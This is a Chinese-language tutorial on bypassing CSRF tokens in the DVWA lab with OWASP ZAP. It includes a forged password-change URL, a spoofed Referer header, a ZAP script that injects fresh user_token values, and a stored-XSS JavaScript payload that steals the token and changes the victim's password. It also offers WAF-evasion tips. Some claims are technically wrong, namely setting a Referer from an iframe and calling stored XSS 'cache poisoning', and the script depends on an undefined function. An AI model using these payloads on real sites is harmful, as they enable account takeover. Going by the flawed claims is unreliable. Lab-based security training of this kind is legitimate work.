OWASP ZAP 2.15.0 进阶测试:DVWA 中/高安全等级下 3 种 CSRF Token 绕过策略
OWASP ZAP 2.15.0 进阶测试:DVWA 中/高安全等级下 3 种 CSRF Token 绕过策略
渗透测试工程师在评估Web应用安全性时,CSRF(跨站请求伪造)防护机制的有效性始终是重点验证对象。当目标系统采用中高安全等级配置时,传统的测试方法往往难以奏效。本文将基于OWASP ZAP 2.15.0与DVWA 1.10的实战环境,深入解析三种针对CSRF Token的高级绕过技术。
1. 测试环境配置与挑战分析
在开始实战之前,需要完成以下关键配置:
基础环境要求:
- OWASP ZAP 2.15.0(需启用Fuzzer和Scripting插件)
- DVWA 1.10(安全等级设置为Medium/High)
- 浏览器代理配置为127.0.0.1:8080
- 有效的会话凭证(admin/password)
# 验证DVWA容器运行状态 docker ps -f name=dvwa # 输出应包含dvwa容器信息中高等级特有防护机制:
| 安全等级 | CSRF防护特征 | 典型挑战 |
|---|---|---|
| Medium | 验证HTTP Referer头 | 伪造合法来源域名 |
| High | 每次请求需携带动态user_token参数 | 保持token同步的有效期窗口 |
注意:测试前需在ZAP中禁用被动扫描规则"CSRF Token Check"以避免干扰
2. 请求头注入绕过技术(中等级)
当DVWA设置为中安全等级时,系统会检查HTTP Referer头。通过ZAP的"Manual Request Editor"可实施以下攻击流程:
- 在浏览器中正常访问密码修改页面
- 在ZAP的History标签中定位到GET /dvwa/vulnerabilities/csrf请求
- 右键选择"Open/Resend with Request Editor"
关键修改参数:
GET /dvwa/vulnerabilities/csrf HTTP/1.1 Host: localhost Referer: http://localhost/dvwa/vulnerabilities/csrf/ [...]绕过步骤:
- 复制原始请求中的password_new参数
- 新建标签页直接访问构造的恶意URL:
http://localhost/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change - 在Request Editor中添加伪造的Referer头:
Referer: http://localhost/dvwa/vulnerabilities/csrf/
技术原理:
该漏洞源于开发者未对Referer头进行严格校验,仅验证域名部分是否匹配。攻击者可利用同源策略缺陷,在恶意页面中通过iframe加载目标URL并注入自定义Referer。
3. 双阶段令牌捕获技术(高等级)
高安全等级下,DVWA会要求每个敏感操作携带动态user_token。通过ZAP脚本可实现自动化令牌获取:
Python脚本示例:
def sendingRequest(msg, initiator, helper): if 'dvwa/vulnerabilities/csrf' in msg.getRequestHeader().getURI().toString(): # 第一阶段:获取最新token token_req = msg.cloneRequest() helper.sendAndReceive(token_req) token = extract_token_from_response(token_req.getResponseBody()) # 第二阶段:注入token发起攻击 attack_params = msg.getParams() attack_params.add(NameValuePair("user_token", token)) msg.setParams(attack_params)操作流程:
- 在ZAP中安装"Python Scripting"插件
- 创建新的Proxy脚本并粘贴上述代码
- 启用脚本后通过浏览器正常操作
- 观察ZAP的History面板中自动重放的请求
关键验证指标:
- 检查响应中是否包含"Password Changed"
- 对比前后请求的user_token值变化
- 监控服务器返回的Set-Cookie头部
提示:此方法需要保持会话有效性,建议在脚本中添加cookie维持逻辑
4. DOM型CSRF结合缓存投毒
当传统方法失效时,可尝试利用前端漏洞绕过防护:
攻击链构建步骤:
- 通过ZAP主动扫描发现XSS漏洞点
- 构造恶意payload缓存到服务器:
fetch('/dvwa/vulnerabilities/csrf') .then(r => r.text()) .then(html => { let token = html.match(/user_token' value='(.+?)'/)[1]; fetch('/dvwa/vulnerabilities/csrf', { method: 'POST', body: `password_new=pwned&password_conf=pwned&Change=Change&user_token=${token}` }); }); - 利用存储型XSS触发攻击代码
防御规避技巧:
- 使用ZAP的"Encode/Decode/Hash"工具对payload进行多层编码
- 通过定时器控制攻击请求的发送时机
- 混入正常流量特征避免触发WAF
5. 自动化测试方案集成
对于需要重复验证的场景,可建立自动化测试流程:
ZAP API调用示例:
import zapv2 zap = zapv2.ZAPv2(proxies={'http': 'http://127.0.0.1:8080'}) # 认证与上下文设置 zap.context.include_in_context('DVWA', '^http://localhost/dvwa.*') zap.authentication.set_authentication_method( contextid=1, methodname='scriptBased', scriptname='DVWA-Auth.js' ) # CSRF测试专用扫描策略 scan_id = zap.ascan.scan( target='http://localhost/dvwa/vulnerabilities/csrf', recurse=True, scanpolicyname='CSRF-Test' )关键参数配置表:
| 参数项 | 推荐值 | 作用说明 |
|---|---|---|
| maxRuleDuration | 60 | 单条规则最大执行时间(秒) |
| maxScanDuration | 300 | 最大扫描持续时间(秒) |
| targetParamsEnabled | True | 启用参数变异检测 |
| threadPerHost | 2 | 每主机并发线程数 |
在实际测试中,我们发现DVWA的高等级CSRF防护存在以下缺陷:
- token生成未绑定会话标识,导致可预测风险
- 未实现严格的同源策略检查
- 关键操作缺乏二次认证
这些发现说明即使采用动态token机制,如果实现不当仍可能被绕过。建议开发团队参考OWASP CSRF防护最佳实践进行加固。
